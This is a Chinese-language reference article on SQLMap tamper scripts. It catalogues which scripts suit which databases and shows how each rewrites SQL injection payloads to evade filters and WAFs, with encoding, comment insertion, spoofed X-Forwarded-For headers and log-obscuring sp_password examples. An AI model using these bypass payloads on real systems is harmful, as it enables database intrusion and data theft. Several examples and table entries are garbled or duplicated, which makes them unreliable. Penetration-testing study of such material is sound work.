一、SQLMap中tamper的简介

1.tamper的作用

使用SQLMap提供的tamper脚本,可在一定程度上避开应用程序的敏感字符过滤、绕过WAF规则的阻挡,继而进行渗透攻击。

部分防护系统的缩写:

WAF:Web应用程序防火墙,Web Application Firewall
IPS:入侵防御系统, Intrusion Prevention System
IDS:入侵检测系统,Intrusion Detection System

2.tamper用法

–tamper=TAMPER 利用给定的脚本进行篡改注入数据。其用法可举例说明:
python sqlmap.py -u “http://…/?uname=admin&pwd=pass123” –level=5 –risk=3 -p “uname” –tamper=xxx.py
表示对指定的url地址,以所设置的level等级、risk等级,并采用选定的tamper篡改脚本对参数“uname”进行检测

二、适配不同数据库类型的测试tamper

当使用SQLMap篡改脚本执行渗透测试时,面对众多tamper可能会比较困惑,一开始不晓得该使用哪些脚本来测试。有的脚本是适用于常用数据库的SQL注入攻击,有的适用于特定类型的数据库,还有的适用于某种数据库的特定版本范围。为了相对明确的了解tamper的使用场景,把tamper的使用类型和范围作一下划分,具体如下:

SQLMap目录中的所有tamper script

tamper=
apostrophemask,apostrophenullencode,appendnullbyte,base64encode,between,bluecoat,chardoubleencode,charencode,charunicodeencode,
concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespa
ces,nonrecursivereplacement,percentage,randomcase,randomcomments,securesphere,space2comment,space2dash,space2hash,space2moreh
ash,space2mssqlblank,space2mssqlhash,space2mysqlblank,space2mysqldash,space2plus,space2randomblank,sp_password,unionalltounion,u
nmagicquotes,versionedkeywords,versionedmorekeywords

通用的测试tamper

tamper=
apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull
2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unio
nalltounion,unmagicquotes

MSSQL(Microsoft SQL Servre)

tamper=
between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,
sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes

MySQL

tamper=
between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecuri
tyversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space
2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmore
keywords,xforwardedfor

Oracle

tamper=
between,charencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,randomcase,securesphere,space2comment,space2plus,sp
ace2randomblank,unionalltounion,unmagicquotes,xforwardedfor

Microsoft Access

tamper=
between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecuri
tyversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space
2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmore
keywords

PostgreSQL

  tamper=
  between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesp
  here,space2comment,space2plus,spae2randomblank,xforwardedfor

tamper适用的数据库类型&版本

TAMPER MySQL MSSQL Oracle PostgreSQL
apostrophemask * * * *
apostrophenullencode - - - -
appendnullbyte * * * *
base64encode 4,5,5.5 2005 10g -
between 5.1 - - -
bluecoat * * * *
apostrophemask 9.0.3 20002005 - 9.3
charunicodeencode 4,5.0 and 5.5 2005 10g 8.3,8.4,9.0
charencode * - - -
commalessmid * - - -
concat2concatws * * * *
equaltolike * * * *
greatest < 5.1 - - -
halfversionedmorekeywords 5.0 and 5.5 - - -
ifnull2ifisnull * * * *
informationschemacomment 4,5.0,5.5 2005 10g 8.3,8.4,9.0
lowercase 5 - - -
modsecurityversioned 5 - - -
modsecurityzeroversioned * * * *
multiplespaces * * * *
nonrecursivereplacement * * * *
overlongutf8 5.1.56,5.5.11 2000, 2005 N/A 9
percentage 4, 5.0,5.5 2005 10g 8.3,8.4,9.0
randomcase * * * *
randomcomments * * * *
securesphere 4,5.0,5.5 2005 10g 8.3,8.4,9.0
space2comment - - - -
space2dash 4.0,5.0 - - -
space2hash >= 5.1.13 - - -
space2morehash - 2000, 2005 - -
space2mssqlblank * * - -
space2mssqlhash * * * *
space2plus 4,5.0,5.5 2005 10g 8.3,8.4,9.0
space2randomblank - * - -
sp_password * * * *
symboliclogical * * * *
unionalltounion * * * *
unmagicquotes 4, 5.0,5.5 2005 10g 8.3,8.4,9.0
uppercase * * * *
varnish * - - -
versionedkeywords >=5.1.13 - - -
versionedmorekeywords * * * *
xforwardedfor * * * *

三、SQLMap中tamper篡改脚本的功能解释

apostrophemask.py

功能:对引号进行utf-8格式编码(%EF%BC%87)
平台:All
举例:1 AND ‘1’=’1 ==> 1 AND %EF%BC%871%EF%BC%87=%EF%BC%871

apostrophenullencode.py

功能:用非法的双unicode字符(%00%27)替换引号字符
平台:All
举例:1 AND ‘1’=’1 ==> 1 AND %00%271%00%27=%00%271

appendnullbyte.py

功能:在有效载荷结束位置加载零字节字符编码
平台:Microsoft Access
举例:1 AND 1=1 ==> 1 AND 1=1%00

base64encode.py

功能:用base64格式进行编码
平台:All
举例:1’ AND SLEEP(5)# ==> MScgQU5EIFNMRUVQKDUpIw==

between.py

功能:用between替换大于号(>)
平台:Mssql2005、MySQL 4/5.0/5.5、Oracle 10g、PostgreSQL 8.3/8.4/9.0
举例:
1 AND A > B –  ==> 1 AND A NOT BETWEEN 0 AND B  –
1 AND A = B –  ==> 1 AND A BETWEEN B AND B –

bluecoat.py

功能:对SQL语句替换空格字符为(%09),并替换”=”—>”LIKE”
平台:MySQL 5.1, SGOS
举例:SELECT username FROM users WHERE id = 1 ==> SELECT%09username FROM%09users WHERE%09id LIKE 1

apostrophemask.py

功能:用utf-8格式编码引号(如:%EF%BC%87)
平台:All
举例:1 AND ‘1’=’1 ==> 1 AND %EF%BC%871%EF%BC%87=%EF%BC%871

charunicodeencode.py

功能:对字符串进行Unicode格式转义编码
平台:Mssql 2000,2005、MySQL 5.1.56、PostgreSQL 9.0.3 ASP/ASP.NET
举例:SELECT FIELD%20FROM TABLE ==> %u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045

charencode.py

功能:采用url格式编码1次
平台:Mssql 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
举例:SELECT FIELD FROM%20TABLE ==> %53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45

chardoubleencode.py

功能:采用url格式编码2次
平台:All
举例:SELECT FIELD FROM%20TABLE ==> %2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%254F%254D%2520%2554%2541%2542%254C%2545

commalessmid.py

功能:将payload中的逗号用 from和for代替,用于过滤了逗号并且是3个参数的情况
平台:MySQL 5.0, 5.5
举例:MID(VERSION(), 1, 1) ==> MID(VERSION() FROM 1 FOR 1)

concat2concatws.py

功能:CONCAT() ==> CONCAT_WS(),用于过滤了CONCAT()函数的情况
平台: MySQL 5.0
举例:CONCAT(1,2) ==> CONCAT_WS(MID(CHAR(0),0,0),1,2)

equaltolike.py

功能:= ==> LIKE,用于过滤了等号”=”的情况
平台:Mssql 2005、MySQL 4, 5.0 and 5.5
举例:SELECT * FROM users WHERE id=1 ==> SELECT * FROM users WHERE id LIKE 1

greatest.py

功能:> ==> GREATEST
平台:MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
举例:1 AND A > B ==> 1 AND GREATEST(A, B+1)=A
a和b+1比较,取两者中的最大值为a;则a >= b+1,亦即a > b

halfversionedmorekeywords.py

功能:空格 ==> /!0 (在关键字前添加注释)
平台:MySQL 4.0.18, 5.0.22(Mysql < 5.1)
举例:union ==> /
!0union

ifnull2ifisnull.py

功能:IFNULL(A, B) ==> IF(ISNULL(A), B, A)
平台:MySQL 5.0 and 5.5
举例:IFNULL(1, 2) ==> IF(ISNULL(1),2,1)

informationschemacomment.py

功能:
在 information_schema 后面加上 // ,用于绕过对 information_schema 的情况
retVal = re.sub(r”(?i)(information_schema).”, “g<1>/
/.”, payload)
平台:All
举例:select table_name from information_schema.tables ==> select table_name from information_schema/**/.tables

lowercase.py

功能:将 payload 里的大写转为小写
平台:Mssql 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
举例:SELECT table_name FROM INFORMATION_SCHEMA.TABLES ==> select table_name from information_schema.tables

modsecurityversioned.py

功能:用注释来包围完整的查询语句,用于绕过 ModSecurity 开源 waf
平台:MySQL 5.0
举例:1 AND 2>1–  ==> 1 /!30874AND 2>1/–

modsecurityzeroversioned.py

功能:用注释来包围完整的查询语句,用于绕过 waf ,和上面类似
平台:Mysql
举例:1 and 2>1–+ ==> 1 /!00000and 2>1/–+

multiplespaces.py

功能:围绕SQL关键字添加多个空格
平台:All
举例:1 UNION SELECT foobar ==> 1   UNION   SELECT   foobar

nonrecursivereplacement.py

功能:关键字双写,可用于关键字过滤
平台:All
举例:1 UNION SELECT 2–  ==> 1 UNIONUNION SELESELECTCT 2–

overlongutf8.py

功能: 转换给定的payload当中的所有字符
平台:All
举例:SELECT FIELD FROM TABLE WHERE 2>1 ==> SELECT%C0%AAFIELD%C0%AAFROM%C0%AATABLE%C0%AAWHERE%C0%AA2%C0%BE1

percentage.py

功能:用百分号来绕过关键字过滤,在关键字的每个字母前面都加一个(%)
平台:Mssql 2000, 2005、MySQL 5.1.56, 5.5.11、PostgreSQL 9.0
举例:SELECT FIELD FROM TABLE ==> %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E

randomcase.py

功能:将 payload 随机大小写
平台:Mssql 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
举例:INSERT ==> InseRt

randomcomments.py

功能:在 payload 的关键字中间随机插入注释符 /**/ ,可用于绕过关键字过滤
平台:Mysql
举例:INSERT ==> I / ** / N / ** / SERT

securesphere.py

功能:在payload后追加特殊构造的字符串
平台:All
举例:1 AND 1=1 ==> 1 AND 1=1 and ‘0having’=’0having’

space2comment.py

功能:用注释符 // 代替空格,用于空格的绕过
平台:Mssql 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
举例:SELECT id FROM users ==> SELECT//id//FROM//users

space2dash.py

功能:用[注释符(–)+一个随机字符串+一个换行符]替换控制符
平台:MSSQL、 SQLite
举例:union select 1,2–+ ==> union–HSHjsJh%0Aselect–HhjHSJ%0A1,2–+

space2hash.py

功能:用[注释符(#)+一个随机字符串+一个换行符]替换控制符
平台:Mysql
举例:union select 1,2–+ ==> union%23HSHjsJh%0Aselect%23HhjHSJ%0A1,2–+

space2morehash.py

功能:用多个[注释符(#)+一个随机字符串+一个换行符]替换控制符
平台:MySQL >= 5.1.13
举例:union select 1,2–+ ==> union %23 HSHjsJh %0A select %23 HhjHSJ %0A%23 HJHJhj %0A 1,2–+

space2mssqlblank.py

功能:用随机的空白符替换payload中的空格
blanks = (‘%01’, ‘%02’, ‘%03’, ‘%04’, ‘%05’, ‘%06’, ‘%07’, ‘%08’, ‘%09’, ‘%0B’, ‘%0C’, ‘%0D’, ‘%0E’, ‘%0F’, ‘%0A’)
平台:Mssql 2000,2005
举例:SELECT id FROM users ==> SELECT%0Eid%0DFROM%07users

space2mssqlhash.py

功能:用[字符# +一个换行符]替换payload中的空格
平台:MSSQL、MySQL
举例:union select 1,2–+ ==> union%23%0Aselect%23%0A1,2–+

space2plus.py

功能:用加号(+)替换空格
平台:All
举例:SELECT id FROM users ==> SELECT+id+FROM+users

space2randomblank.py

功能:用随机的空白符替换payload中的空格
平台:Mssql 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
举例:SELECT id FROM users ==> SELECT%0Did%0DFROM%0Ausers

sp_password.py

功能:在payload语句后添加 sp_password ,用于迷惑数据库日志(Space ==> sp_password)
平台:Mssql
举例:1 AND 9227=9227–  ==> 1 AND 9227=9227 – sp_password

symboliclogical.py

功能:用 && 替换 and ,用 || 替换 or ,用于这些关键字被过滤的情况
平台:All
举例:
1 and 1=1 ==> 1 %26%26 1=1
1 or 1=1 ==> 1 %7c%7c 1=1

unionalltounion.py

功能:用 union select 替换union all select
平台:All
举例:union all select 1,2–+ ==> union select 1,2–+

unmagicquotes.py

功能:用宽字符绕过 GPC addslashes
平台:All
举例:1’ and 1=1 ==> 1%df%27 and 1=1–

uppercase.py

功能:将payload中的小写字母转为大写格式
平台:Mssql 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
举例:insert ==> INSERT

varnish.py

功能:添加一个HTTP头“ X-originating-IP ”来绕过WAF
平台:headers = kwargs.get(“headers”, {})headers[“X-originating-IP”] = “127.0.0.1”return payload
举例:All

versionedkeywords.py

功能:对非函数的关键字进行注释
平台:MySQL 4.0.18, 5.1.56, 5.5.11
举例:1 union select user() ==> 1/!UNION//!SELECT/user()

versionedmorekeywords.py

功能:对每个关键字进行注释处理
平台:MySQL 5.1.56, 5.5.11
举例:1 union select user() ==> 1/!UNION//!SELECT/user()

xforwardedfor.py

功能:添加一个伪造的HTTP头“ X-Forwarded-For ”来绕过WAF
平台:All
举例:headers = kwargs.get(“headers”, {})headers[“X-Forwarded-For”] = randomIP()return payload

参考来源:
[1]SQLMap Tamper Scripts (SQL Injection and WAF bypass) Tips(https://medium.com/@drag0n/sqlmap-tamper-scripts-sql-injection-and-waf-bypass-c5a3f5764cb3)
[2]sqlmap的tamper详解(http://www.myh0st.cn/index.php/archives/881/)
[3]sqlmap-tamper-scripts sqlmap tamper 详解(http://www.moonsec.com/post-422.html)
[4]Use SQLMAP To Bypass Cloudflare WAF And Hack Website With SQL Injection(https://www.sunnyhoi.com/use-sqlmap-to-bypass-cloudflare-waf-and-hack-website-with-sql-injection/)
[5]Understanding “tamper” option in Sqlmap (II)(http://0xd0m7.blogspot.com/2016/02/understanding-tamper-option-in-sqlmap-ii.html)